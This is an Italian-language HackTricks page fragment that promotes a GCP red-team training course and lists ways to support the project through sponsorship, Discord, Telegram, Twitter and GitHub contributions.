Impara e pratica GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Supporta HackTricks</summary>
|
|
|
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
|
|
|
</details>
|
|
{% endhint %}
|